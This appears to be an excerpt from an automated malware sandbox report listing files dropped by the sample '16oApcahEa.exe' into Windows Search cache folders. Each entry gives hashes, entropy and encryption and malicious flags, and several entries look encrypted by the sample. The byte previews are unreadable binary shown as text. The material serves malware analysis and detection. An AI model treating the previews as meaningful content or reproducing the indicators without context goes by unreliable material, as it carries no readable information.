SHA-256:	6A54A8C68A1BE19EA82BBDEFA0D3E960FE6EF39AF115356C0BE535587E4CFDC0
SHA-512:	51EC4C2F0C0735B3320CEB001C4A958EDA8D8514FAF1B6B128195B3FAB617823CD63428935ECACCDAE58CDB97668DFC0F47BA21AB418EF226C66DA21528C7268
Malicious:	false
Preview:	......~]....c..B.E...........,.9..$qL..6...3H..:1.c..(....CEmyd.n.0;..k...[..q.6....%.d.T@c...UG...Y'......iU.>sI".B..v..\|.f;....UmuG7.........WV...\|....j.>-.m..]..lc.sr.PS..(i.....!vG!N)..k...,.=T.]....s...1....M.iSI...))y..z..D.4...X.........e..p........`.....~K2.)Qx.gm'..S...vSV.#B..gW.$.Dx.........$...~...........K{:.,.......v...S........$.. ........vZ..... .....U.3.F..))..%..q..2..[.N...c........wg.n....9....9.U...[.&........`..y.."PH%....8....l.......%.D.bkdiO....I.~...8.G7.L.x.........y..........l!PR.n..,..IhY.mA.3<9.-..F....q....Aaqr;..NP.EG.N.....a. ..Qp(\;.CQ....*a.?."C.v...a.B.%8Pzf..>M.....h.1..\|...>...c.r}.Mv....j.Q\..V..1q.x........f5..l.ZX...9..}.<..{.I..,..0..!_.b...C.D...7.i......FD.j..$G.;..F..~......%..h.......>..k.$..{.n.}g.~W..Y(.%C...1.-'.7...?........$P...%.r.....l...G.~..I........-..".B.. ... .z..o.R.suk.i^..I.Z...I.X.....w,lfmp=.4S.....l..a..y#9.........[..~p..,..'Z..ax_..L..T....<u.J..gO.<.e).}'.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208113579205051
Encrypted:	false
SSDEEP:	3072:1aACIlPJmPlbrhTipM5w6lzGUTYnRkZBRymj4R67u1/uS+UwmS:1Pl4PRhmQA0LhgS
MD5:	42ED6D9150C6FD0FB3BE80FAC3C3A420
SHA1:	4E7BAB5AEE48662B8DBA30B861A2A951AF0810FB
SHA-256:	285C16404DF7B61F5406C2D9ACE3D7B3863E95DB0A706F5D235D526B52138EC0
SHA-512:	88CF8CCAD2BFCE03049FF6FC2C62A38FEAC2CDF41207B13739A2F9C594F3042DCEFB95F52F6DB7760213297360EC9D685E4EDB81C69172BE7612EB7555766ECB
Malicious:	false
Preview:	.......F......D..S.q.....$......k.l.d..)....{.M.M".._..u.....t..`..U.>.:........{.=...k.U.....T.......W.w.,.>FX@.`6.........7bP..J....?S.(qs..N.:....J.tkd....,.O.K).+c..y./%qY.q...[c2.dK..P.be\|..^;....@.L....:'....RY.........u..e.hl<.!...#,.CU........n.....\..xg....;(A.H..q.i.......k........Oc.v.@.U.>Y}.v......T.....v..1.Z\|m-.E.".T......_'.....=O.....{.??s....t..K.a..n...\!.9..~.ax....\..6Q....0........G..N..O...@qY}..x^...M.A...5.i..[j#YpA......na1.[..z9J.}.i...T...ZnR.Y`...c.Q..y....9:`/:..=.R.0...L..].t..I...D. ....o..;.........-\_..`.d..........NP2a...&H..I...,..6...3.?@R...{E...i+..../4`.....Dh`3..\|<.DXTC..hd....O..j....l\|C...Yo.6..J<.'...6E..3.Cv+..3...vk_..n..5x&.{G.O5.b(...(....b8..Y.....a.[v...S\..U.,aWT,d./...w.].si..@b z..>.0..n.4)k..}..).......2.......$...w;A....'me.CJ..N.\|.4.O...u.&.....o[,'....\.F..sFv9<.B`.{.8.T.QW.~..w.E.....F...&..'..U..."f.m...k..g.:.OQ...Zd..;.$h...;..^h....\|...n.;...h..%.*)'....N?.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207989604807844
Encrypted:	false
SSDEEP:	3072:d4G8bXkZWkNVb4GBtBiQBk+v7/u0b7/sKuy6dHGMDASS4NGFGV:mHi9Nx4mvRe+v60X/sKujmMcSS4NCGV
MD5:	3D79A6E40C449732B6E0040802843F06
SHA1:	38732BADBDBF6E3F7AE5B74C33FC4BC18E8C2F5A
SHA-256:	228FB10A88D2FC4156A9CF0537181F1DDEF63C84933EEF864E2EA88AF9B8166F
SHA-512:	06841AFE687D4023143F8F7D34D5AB33010CC1AE9DECC3D86AEA0C2D638CFBBE86BD6B919BB134FA2B118C8CDBE7435636292E874752559246D3164DC6ED96FA
Malicious:	false
Preview:	........O,....(..0......b..x....k>..n...p.\p..j..\|...].....S..XO;r.c!A02.Y.%..2.lXH.0.JV.Z^I.M...TK.....%Ie._!.H!z.E}.&a.Gj-%a.w...vW."..J'.qpJ...e...RGr..)......."{.../(.N..'NA:....]#.....0...<R..{.5C..NC`._.....ep....2.....t..2b\.2..'r.......m.N.[.\X,v.........^.{J.M......`.~W..fDm..Zr]..I...9....k...(a..z..'.-.....1X.E....u..<...C..}.E...L.../]..N=Nb...lJ..L.....[5.-?. .?.8VU..%...........`..2 ..Z......x.i.FNR...>H<X.v.l\...aJ.@ZA.U.I.0<.<...\|Y........J..\|.8......\|..`....Y..2..@..\....z+...yn.....G..Q.J..#.4..Bx....+.M.Y.V..1."N.%u.#.Cz....bIg2B.....P..!......g.;.).....b...\..tn$t.\|........G...-.y...H....X .I..".c..{)........n.;......I....$$.;.{...y"H.e...>c... ...m.cP,V..3.U+...B.{ .=..a.>..0!...+.{...jZ..[.f(Sq.+.Nm.Q...JUE.5..V..$.P..kL..\....tU.z..:..D...`...I....w.._.{..\|)bX%.C~_..-_......!.E:....C..x...5.8..~..6.K.QM0..\|.%O.L.ys...t.dQ~}.....8.F[.......5.8.TDCI.\..........-....z.]..4 J....8.3!..c:).F.1).@[.....C.U..!..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409000886124092.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	101855
Entropy (8bit):	7.99835555452826
Encrypted:	true
SSDEEP:	1536:Uq6FOpi/ePgADTjb1PPkmfFbXe0RHR/83j6Zv1tI8bo9eV:baOpjnDZkm40xRlZNTo0V
MD5:	F3C1DECFEBBD275C4915A4EDFE2EB638
SHA1:	54E5CADA8DF27E388E187B344295E010E5EDDBC6
SHA-256:	B8CAAD15940394EF371B87A942FD1A6979F048499953DBD72B466F8AB5F5B2E5
SHA-512:	13638FD3CF3F552E77A38815A1F111A9DDC3C2BD34D7B509D8C8DD9320C54B170DC7435FEFD5F61D9908C3C97425275DBD902A9C62EE4B878B480EF3787D7C2B
Malicious:	true
Preview:	[{"Sy!.."..x....\|.8Y..B.dP3.W.fU~.a..........4.........BON...Q.=>.....R.vp......._./,...,....&.c...L3..M.k...K!..2?=9..H..].R...M..\|?CJ...M`zl..?........[.P.d..9.-..6.N.#O.b......o!.g'.9/.U....~..Fz.#..Q....s.....`....+O.......".....g......r<?.I...5..+r.9......a.</............A.\|..Me6.....lO,....D...4..]x...g.....YmJvC...(..y..C.\.).u>... ..Vu.....N..x.J.k.B!y....l....S...%y._..\|.0.(...~e..`..lQX.'.>.F...m.....\|.f..F..U\.....d.}."....)....W.(.i...+L`_.yL@..5....8.w.O.. d..V...i..{...nM.Wi.'.@)...s.....N..jIQ....I............&.A.1.$.y..`p..%.Q...9.1.....)...f..dT......./....<..7.....(."......D..y&d.E.e..].#.H4=?.2.l.5.(9...U...H.9(......11........@....Lv}NH..s...0.5.\|5.1..^...n."))6l.p.-"?....Z.....b.~....%,......Za.T..6..5.r.d\......`......lm.V.5..-Y@O..b..X...\|.x..l".#......t-vCE.pA."..@.D..h....2Y...^.X.b...:Qd.!.VQ(.k.\9`.......pt.(f.7x...(.4.B...D....4v.ZM....J#....T....SA%.......}T.do..%..yD....-.......o)..1......!N....g.l.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409003495205506.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	104130
Entropy (8bit):	7.998310279571455
Encrypted:	true
SSDEEP:	3072:iN30E0RTO7rN53HSNaqQpAGzcBrUl4XVP:qJ77r73HmazerUl4FP
MD5:	CC6FC82BF9C822BFAAEA9F890E41D346
SHA1:	D2094AE14AEF5AA710B67EA32249E198438B67B1
SHA-256:	072CD65A5E8FEAECDEB29BB0D7FB2DB307F8AB1DF07637EB60DAFA72F5105052
SHA-512:	C2348B3EA59E36990BC44091850828D1EEDD17CEFDFCC476570882A4CED629709A1778C829F5E53ADB4F9AD2A0E4D290880D1C7FC837D2FD80DA0F880EBDDCF2
Malicious:	true
Preview:	[{"Sy.4X..5.h~L=..ei.l.....u..}...K-]..$...2..l.. .p....NV...S..@..^`O.....E..f.2.....=..C........K.S..UJ...7..2... ..@..v4..m3]j..%...../.....qB.r..x0...%y`,.~.o.V..{.pLaTn.;.4K..P.................j5`..5.....Ab.Zh....od./.{.:.f.....)....-Or..B..>hP.g......Gk..r:..d8.z.'8r9...zZ.".\....}=.Hgd...N+..D..U...m..{\|.%........v.J .f.....?..-j.C2....!....0<H.=.L.....L.k.w".+.#.,.'......S.v.?..;....>...Q..\Xu...u..W...b<{..]Q..D=:..^~sSD4..8!.>..Y..]..-..j.Q;8..w..H..si....h.G.x..hR..}...O...FX.5.H?."..Y...o...x.aa.f}.......v....\..,........J.@f.a8;.M.N..5(...od...E.X$c6.u.........7......T..\...S.T.T...P.,<F...'...X.?b.TL..c...q....@.&..Z......,........m..b.6.o.:.d...".L.m....K6....)...>..s....'GS......,...@....F.u...e...[....w.....i.Y=.C.....;....+..P.b..r..;..?.:T........q^.n..N.S..x....q....mcZ.j.r+.2...%...F.d\|..d....M..%.....YP...T..L.+....X....sI.:.z$...X'....NA..>..8.&v@^Z...Y.tx.c...++...(...w.....\.cB....}.......+x....'+-

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409003693874026.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	104148
Entropy (8bit):	7.998173569304092
Encrypted:	true
SSDEEP:	1536:0HP563BohA+zIU55K4a3PjA0+J8EFNh7HrVS/EhJVueEJygOfelWLMahViexCVh:85V2KJ55K4a3bsJnNRroEDTwyXFJViuq
MD5:	A1AD2D581667033738C66684E17BD02C
SHA1:	8CF80767B43FD3D788CFCEB62818C89094603D6A
SHA-256:	D56D90961C9AD008D3C2967501795D1E8FB35FA63922088EF29B41FB60FF644A
SHA-512:	B36A656213BFCBFD83466A79429F87B9FE6CE15F611532810DC1CA95AC681D505BC4B99AE645C20E64ADB8FE6DB43890BE11785016D44E777B372A3EE0E5328B
Malicious:	true
Preview:	[{"Sy%w.].7aB\@...M..}.J3j...!S.......2#]..)%&.......o..iO..q.}..5C.R.>....];l.U.e.U.<....KK...nH..6..bu......OD.5...c...R....h....5..9.NFJ.+..9z..`s......{k!...."...Pv-...0.....C..s...\.$..py..5...E(..?{.....p...$.~E.b.@..>.._.EJ......X...7.M...X...%r.....@!.D..0-...VK.x.7h...S.z....}~.&..4\:ZW...?S..._.r..~Y.Kqz.{.F...wp.Q..2lT..Gn.do.%h.0%`0..8V..."..V.'.f..b..6..........@A...~.%.....b...`3.<..#.)7..Y............_..Dz.\|....M~n.F.s.c../w.g"7.l.A...9..(?3\|.....S!...%..........}.Q...?.....c..6S.i.\|y..(!....h...`.......$.........\.z.e..+.Y`,.....i!....dk.E.x%hu@.h\|.........:A...o..Y...\........iy'..p...=h4..44....]B.... i..u..Z..h3o.....%.ip..z.2t4Fq...X..s..oQ:AA.a...%1:.0R.p...)~.....U<.?GOt........r..R[.....RO.}K........P.&P.0.....t@n.c.T.P....o.....^.d.yR.q<..d..A.W..).9.,...i...[.d.Q.7.:]~=...g.c....{..a{.....E.N:..:.5..c..........1............%.nT>k.[.O9.'l..K......>........./"...!.G.s.>"......W4.#....*...x.ORyn\...(...y!..m+.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004157646270.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	104184
Entropy (8bit):	7.99832041896429
Encrypted:	true
SSDEEP:	3072:eApEisGovYts5WlHlaO7T9LYEVRT5O2ltqeb:e6xsNwtsA8U1O2+eb
MD5:	D02431DBCF401943587354F420E4B49E
SHA1:	74E5DBA6A776DE854C8FC967B9812879AAECB5AF
SHA-256:	606F18D567270BA7067C90DD76B4E08D6A6CB94A2EEC4D39A50B623078F36749
SHA-512:	1CE37057BDB382BE2D35C2DCF888D133487A77E0C8C99CB02CF7BDD4FD5B8BEC46AEC11600CEC3B799412BB974473C7011784162E2B17F6C75756311CBAB17E0
Malicious:	true
Preview:	[{"Sy../......-...+..I..m7,.M.B.......A.9p....N.E...LT..0]...p...N....kz.....%E../?..2.].-k...I...F.."...%7C[......T:..c!<......0W.....&~.R.'".q[..8FS..d.w.._.<.=.}....`K..IP.m{.#G.e.LiF ..YW...U6.8.z..A....?..z3{).....-..Be.S;...MH...?=.`[]+)$5o.nw..8.H.GE.Ve..........m7z...s............(,.yP..nQ?...\.SA.(.0.f...IJof..r.].......r..E5i..P.d.MUi4.....\......^.......sT.A..`.1v..n.j.:..5Wm..z...(..Z....}#.V.....47"....s...%."....DS0.4v..../..^..@....W...\T.2.g.T.fK.+\|.gN...V..N..`.".cx.PGe...-{x..>..0Q......-..L......W&..uDa)E..{..U'1...].&\|.~.........%X}...u.@'.!..K.-....B..t=.v...5y>e..l...".......G.}.s.Sas.....t.N=.{pA.6.U&......v8.\.l\.....RMH#....=.2.q.U.0................Z`9..4-b.C......P.c.8/qe....?j1.O.$..r..%..e.^Q.2i..BO...]&.._*Y.z.........\|.T`...kV.F./.X...]w.U.A..6.].~.\b-..#..Jd1...o.'[..N...x]..xR?+.x.....QD.a...."_Rz...K_.\|..=...o....`.u..h../..i.'..I...M.k...v;....eUl/.2...'..H.HB\T....t..8.RVZb...d.....p{.8\|f.Q...$

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004610890001.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	104202
Entropy (8bit):	7.99843735937518
Encrypted:	true
SSDEEP:	3072:+s0xKacoXtJ5aEM6m+OXxCHQxEmpVGEVlxz:4805aEM6z0Df
MD5:	DC093075606EF15FD2BBEB53C5E94EE6
SHA1:	CFFABE7661E250909D374913DD41E9383EB77F7D
SHA-256:	65BAEBE58583350B6D185C8C3E6DA148BA13AE3690179668E55A02D5FB934AFE
SHA-512:	874494B6DBD7DE5D63792684DFF0F93F712C30AC9411B67AF2FE588BD8395991DD2DA7AD66F0DCC9610B260A76FBB0189B1E67F1540B4A60527E328715C520B8
Malicious:	true
Preview:	[{"Sy6.P..!.~.R.....5.,&....S.6.6...W..(MiP."... >".,8.>.;.k.&.....J.a8q.....oW .&..(....i.f..:.V....Z....rjK....G..'q.......(.3.f.X.....P.\|k.[......KC.r&..!.......h...5Th..EDo....{.....@..I...8)......I.bX.a....R.hM.E.F...k.q...K..?.w5...[=.o..s..+...f%.........?....z.p....}......Z.V..j3`./c. ..h..+z.....n9.Q7..3....I&Y^\..~Z...@.!0p.J...~..6?...S.b.0..L..f].....-...k9)kb. ...G.....1...5).1...( .e..{?..>..Sz.p.0i..D..9..b9 .D.pd.Z;.Z........T....'...4.L..@h..B..R...n...L.EU.:;T.X..K....B...=.m.....}s'....G.,.`.c.B.g..$5U2M.-...v.....Yd.b.......@.c....1..X.&........@.m......:.......y.98.;..".TH......W.6..:-.m.&.\..fY@.~...5..@.6>.........#B5..G]n...u...".FS..j......f.,.<./.F....S...>.4M..L\........i.n...>.gK..s...)&..j...J..f]..rJqg[._4y.\..FU0...E..D:/o...(...y3.g.z.....\.....+...8.b......a....d......X.R2._6.'G..w..o>K9Ed.xx....R.:g3.D]...{.hlEF..~.Eh^........sU.. .Hc...Rh.#....{?.[..h.M..>.%..sVt..............;~.....M..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004786866416.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	104646
Entropy (8bit):	7.998114671968617
Encrypted:	true
SSDEEP:	3072:0Hvj0CxiCJmA/ry7Pby7FESuWkdgcbbDfNFKxVIu27d:0HYyiCJmA/Gbm7BuWkdgcvDlo65
MD5:	F36479790497F2ECCDBA87DC1B2A63CB
SHA1:	6A2C245BE945A2E147C3BFA4323C897A062DC1D8
SHA-256:	76DF03098BC80C4643C0E10896F8D154F5FA2C7709388964C6AB0D5ACFD5107F
SHA-512:	6A3E6FFA044745990DCED9E26BDA86E63DD543842FCD3051B54CECA85C47FBCFCCBD019EB1ED20DCF009064F630A231AC773CB14D2DBD6839CF8C945BE5ADDC9
Malicious:	true
Preview:	[{"Sy.>.Y....D..o..x....W.}Q.\hsq.M~>..[..s.f.T.....G..YB.d.t..{5g.vH.#.B:......`..W.P...7...a.G.q.3..4.o..l..Z.5.y]B..Fh9..aG.F'.9... .9z...m..a.....h.L5..[......P/....5..~......\..=......{...s.v........"q...h."]J..X..7.C...1.$.P.iWig..DW.....A.. S.:.......\|u..2.....(....`......?....U.E@Fa.1.5....g%.( ...Inn.......v..5.}....=3...&A.Y...H}..SrlC.- .C,.....g6^T.....Iu....I..r...\|...5MuF=.Z.[......AH&K.:../.(`.8.k...+-.t.q9.F.40..Hn.3.:.e..)....E.z`.......= .H.........!.?f`$TSe,...T.w@6U..c.... .X....h..i..e..6+.ICi..&8.k.O..N...Nf...+.^..a..yF.\|...I.......lQ.#..B.j........^..0.#....<.n9.lV3..X....$.u..b.;.xM.....Bb0.)@6fK..7....9...;.s....TE...z.p.Ln.4.d.e..\| .E.R~..hV.....#.....K.3...K.......z.\^..G..q... L.5..$"..Ll..\|..\|.=.R.\|...aqE..)...K..QH.I1.s.5..xo.f..CC....}c.H..M.g.....b.e.....m...F.Gh...b3{.......X.f......`.1X.9...r...I$sq$.)..8..z..>..&......=Ui...{..s...-.0".N....^.Brk3Y.....A>.v.Q.<!r>Q..P...L...C....9W...O..../....n.~.e.@

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005089393222.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	105788
Entropy (8bit):	7.998132063416027
Encrypted:	true
SSDEEP:	1536:6KyyuUnSaYSl3kJagW7ttdkq4TUSh7dlubLcSTGFzYQhTie5lTQLMDR3rkPSO3Pc:vypUhlkshHSbl4c8GKy2zMDR7kKXR
MD5:	1FB657731164A03D26FEFB05632EB23B
SHA1:	2F24633D9A39200A98269381F7196DD4711E21DC
SHA-256:	49EA40254459746A8DA5432111E6912D12279EF0B849988E16C446C69E5E4DE0
SHA-512:	0446D92AE6FFEC13B9863D2840EDDBBE31ED6E9B9A05A82B7DE88DAF1C23DACDBE74D4CB61A1E207BB8C8073662019AB4D943F5846B5AAE7CFBAE78E7281891A
Malicious:	true
Preview:	[{"Sy.p.5..AU....04.S.........a.....no...n.k...wm.D.u.E..%Y.a...}E.....:.r.F{\.lF....q..h`q@9Fc..mw..DD.u..).y...vG.T.............x..V)..rdc..:...b%.'..]k..IM....m.......HQMi!...K..3..2.h..o...M.H%..^6.<9eb.W...;..rg.~...u.R.i/.w~m%.H\c.>........OM..d..........i.I....4..{~.PA.H.4=.D.y.H..8..i?....D(.p/\|.~.........K}-G.jQ.c....0..t...A.<..A8...v...vQz05..u...L.."....k..:.."..a?P.J/[....<..4&.=q..3.f..dqS.O.Q.h........M......D&...Cy..Co....^.......6...0-@.]Lj..P\|.xRPe.$.Cm.....p..,......^..}T...oC4.....-..1.......p....UFJ.M..;...2..O_TPhp...`.wq.r..j(&.r.:m.HKs'...R.s.X....W.5....q`.Nl... ..K.&.o.....+/C.$r.@a..}....... 3FS.q..([8..I.U]#.7.5].XE.,5.(j...or..Pz.6.){..V.RL..~..J9.=...+....z.(Z...y.;J%....#s.....RIo..'s-.....3].}.~..r..../...8..cm.VCd....IX-......Dy...-t....6L..9.P....n.Q#.z.P%.......A..<R..+;..t.F...r...0...z...l\|...'..#.A.....QPP..f/.vD.....b.......$..6Y{..+... nP....c.FW..X..*N...Z........9H.8.V..s=N...P. .L..~>.p.Q.....&

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005389384955.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	105788
Entropy (8bit):	7.9984037029695285
Encrypted:	true
SSDEEP:	3072:aK9HO/av9VLgwBYoMa2ilZ4aB4B7XAGTDES:btwpa2Y6aBSEMD9
MD5:	764245244AEF0F86D0AFAB7A2A7CA976
SHA1:	C357EA03B8C6129D0199FCCBB9EC8C9CE68C1AF9
SHA-256:	D791FAE8F6BFA6E724B45A49067760D9B9AB0EE4AB6DDBB1C07A7FDCE322B277
SHA-512:	E32551570500C32B3CE5FD4A2F78960A11254A6966635E82C3186852607749A04B8846540B0EB1ED82977135F5AD947064EB94E21C275752E2C678537888FA05
Malicious:	true
Preview:	[{"Sy...4_u..o\.m.M.(M.",C.......\.7...._{.w.q=..a&H.........J.\S..."...Iv....p..=..M.,b...t......T@x.CW.5.V,!...>....l...V...>Tv...)U........N...y..#...#...<2B>f.9y:G.F:Di.6cV.. Y%.=...e.6.".D../...f. .b.K.........L1.]"#gow..[n..V.s.k...3..=y.YF..sLZ.d.F...xQ..[.G..5.....u>L.?...........i.P.}.\.o.6..ch.....j..Qs..6.q.......A[....C.%W......r..!..Z..k>..8....!......$.....R.i....,X..%x.`.:s.+...b.a]..k.8...m..l\|...8...M.KE......r...Eg.....Bp..0qd...K..Z./....Y.u.....%P....R.P^N9.77.h.E$....<7....ho.,....U.vk.@...2P..w.r..@.X".........Miy....&1.........f>h.8k..i..)z.3..M_a.....U._.n.w....M.!-S..FQ..S......Bl.9....v..n......r..D...~....Wc.j...[...Y',..5...9.i(.....!.K.*...6......Q....e..#"...S.+..fg....9_....8mS.\.Hn]...3?..j.tD...8Xt.a..}o.B1_.S.i.`...T.Y.=.Vv...? .-R<cW.-..7.....`v......2.d............z~..&.t..O1..... .0~..~J.,w..0G......3_.K).. Jx."..V..Q......f..3Y.`....C1y..P..bO.W.A.feF...A......HZ.pZ2\|..z.fSQJ.D.]@.F.8.'

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005953011714.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	105788
Entropy (8bit):	7.998176051472376
Encrypted:	true
SSDEEP:	1536:wSiuis/0TV4gPOP4m2GTn8Jf1hbpUeNFltri0JcGZrKma+Zf8Y8RxN2BrH:wqISgij2GTn2PbpJPvri03ZtfwR3eH
MD5:	E3F2AAA3249008D1DEFF1C4B2F279C70
SHA1:	C0D8381EBF5A4E7B800BEFE5F677410F73A4E2A7
SHA-256:	54FF488C30D1243D5C09F2FD47162BEC893636C6B53B53B46967A0AAB64B9F49
SHA-512:	F3A8DB3B8897B5C8EC4A59C4A1EB0F29EDBDB0438D91A21EA86EC426175F14357CF511A1871F7BB9C600248E2AEC0FF05C0976B0C32ED2E1400DEB1241DB3E9D
Malicious:	true
Preview:	[{"Sy...x.......a.......V...,ve...W.B....`.(.jb.9.0....U...oz.1.^....J...._.+..R....-;o#5.......;.J[.(.t..g..b.[>...T].(..aHm.K.T....UG......S....` .......A.t..-..X.Ef..Yp.......,){.....B."...#>A..R.[.ZkQ.?...m..F'5./1.[Ejj....v..:\.:.E..q.m...%....f.9.9.o.g../..&....UH.........P4hJ.9.......]Ku.Jj;..R...??....z............#'Bb..K....C."~L.l..{{..k..h..._.;.R....Y..........3H.5$.....du.b..t...4.{..1.....o..<!..)&.v.g.b.2..s......./.=\.(.d(.WkRlCH.s.P .P.~..F.P.+-.C._.1.d..ZyT...7._...K..;.(UP...w...,.S.1...1f....=..3.c.{..R.-Y...R2R.8c.t....b..% }..uoN.=..]..X...Y..K.n.............tz.].....h.[..A...}.>.}..:.....M..!.{...iX....Es....l......[....y.o.0..X.He..w...2\|...U/K<...XIe.).-.I....l..m9.w25ZEC..\|....a......d..I..x.q...u.2..l.....}...+..&h%.y.x.7r,...7g..]!.@s.\jFQ...o.....>%......F......[...h..q.JsH$u.o.]...!*.^....t...6....i'.!f...Yc.2.x.x...........K.K..Dp...}...P.\.. oYn.t.C.....+.1B.[....N7..g...)...T)pK....[I..KQ..ZL0I..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409006148184320.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	105788
Entropy (8bit):	7.998039621181859
Encrypted:	true
SSDEEP:	3072:yZmNgUMIc+5IIH1DPYFeK91P8ZSC8M9sdrztrJckr54MJ+5u:y0+UXc+5IGYD0zZgrVryqeu
MD5:	7509DC46832D1C2587F5CBE43DA3C646
SHA1:	4B23B39742ADD27B6487C4CD6E0C474DE80060C7
SHA-256:	421F873AE9634878426AC66B684FEAF07475691DAD770CBC1DCD766BA27EEED6
SHA-512:	D6B3A0512777388A317628B40D33EB9D83E89A86514EDDDEAC493C3F3FEA126847DEE12F7B8DA308DC330FE8EAF78F3B76A0DF38EBC98F0053E1E16FE58F187B
Malicious:	true
Preview:	[{"Sy.....2?Ti.+f.,..T..7.T.>....$..$..p$./s....m........qB>.uf..^3..4.../{.-....2.i.\....\|....?d.'.r.....1......M.%-.AX._.hrv.z..k..49.`C..r...q..'..G~.-"p...l..q...W.B\|I+.'...$... .p....a.f...9.._.k....z...\|?l..Q..K..#6-..l.......]p..b^qS..%..=B..0..y..7.{..L.....D.r./.....\|.G..M.qH.....@..'...;w.................\..~.M(.^(...+~...j...z.....F..t. ...@t.S/0..pS..q!#..4..l.o=.i..\|=.{.;.S.r..'V$0k...$\...p.L.... 5...v....ZKP..:f_Z-....#@...u..V.......uX.M.Pk.....+P...hP..dO.q.....7T..o..... .Q_x..-.n....{..4j.M..h.Ql.2MT.mn..Y...d...?R.(...;....1.#U...u...w.f.k.b..'...83.2......HY.R.^..Dq.<XO.6.BN..T.."c..>.Zrl....Z...n..G....;C...o.?5..u..U.Hk[.pa j.??\|..5n-."...'.A..C&..l..O}.wk.{.=!.w....z'.W}=k.O:z."<..m..V..@...h.}...........V.6.7..c..:.....F.'+..g.R..N...b..\}.N\.@...'.I...ML.lX.H.1.....07.rynDk..z..C4....h...w-*.:%.d.{.Q_..6.Z.....^]..q..;...lS....,P...-.r....Z...[0....7..-....t........L..a:....GO...w(.La..<..#....Dtu.q..r.].E.s.>,

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409006446553451.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	105914
Entropy (8bit):	7.998160383331277
Encrypted:	true
SSDEEP:	3072:HmNzQCiJ6MbWRrtyPYBv1hNMAiN9kCKXTWCG4:GN0CWzEJ4YBXiN70WCl
MD5:	B05CCAA1DBD5CB685F3DC9C8C7705707
SHA1:	383ED8F759893F66F37D0B8EB9B76ABC3FADCECC
SHA-256:	70C222FDE343B1ED02C3CCBA50F0BACBA05772C78BB32A4EAB9C3ED8446D7139
SHA-512:	C214BAF60573E7FE1A019CBF168F7E943069F82A6C233DFA78E3DFFFB79F440CC92DDC7AA844506A0F758889F6CA0AC6C5CF9486CDA57B0304638545708D5288
Malicious:	true
Preview:	[{"SyC1..].X2hj0.lL.V.?i,.H=..`s%...=...%..U.{.r7.;...[.5.p.V.......y.Po.M....7...[.!.$..:..2..Q1u.3.].m...R.....@{.n....'..s.U'\l}...4W9..Tpv.].a......U.,.~.."b....4.s......[....p.C..Y:1.l.z2C......&-B.'.v....kG.f.y.u.n.P..[...9'...;.}n..P.~..9.x.@.U......sC....NM..,..k\|L..'.1.!.4.H...u..,.#`..=.+X........b...X..a.c....k...8..A..2...;.R68(..m...._..G.Hp....C.[.T.%^]g+$.&Z..;.\u.}.g...6FV"J\|..tC...7......JU.K...I"..M.N..\|y.R.kzj&u.\1.N.d.c]y(.C.Ll".7L2.E..2X.....h%...n.nI..x...%.....9./-...ca.....1....L.Es.>O9.U`n.9.W.{h.TK.o...ZYv.@........x.S=..?....v...2.[-!..'eI#....H.G...3..&..g0...R:Ln.>..e.~.0).o...j.)C+!...q.o..?Rb..F\......q.I.....,o.N../......+k,.9..C.../..-.P.h.GRC....cX..oV.m..O.....th.-....O^.:.....Xb..cBQ.#..9..a8...r.\...=dG..m.........t...wO.>..@...\|.J. .n.y.....(.m2.Wl..;..=..AK....."..J.-....\|.y'.....KZ.7Xv[.rJ..%............ZO.!..!(. ...c(g%e..08A..)OX\..O..W.pM.{....oN.d.._........`C.r.,.d.;\|-.v.0.0..r.D.^..

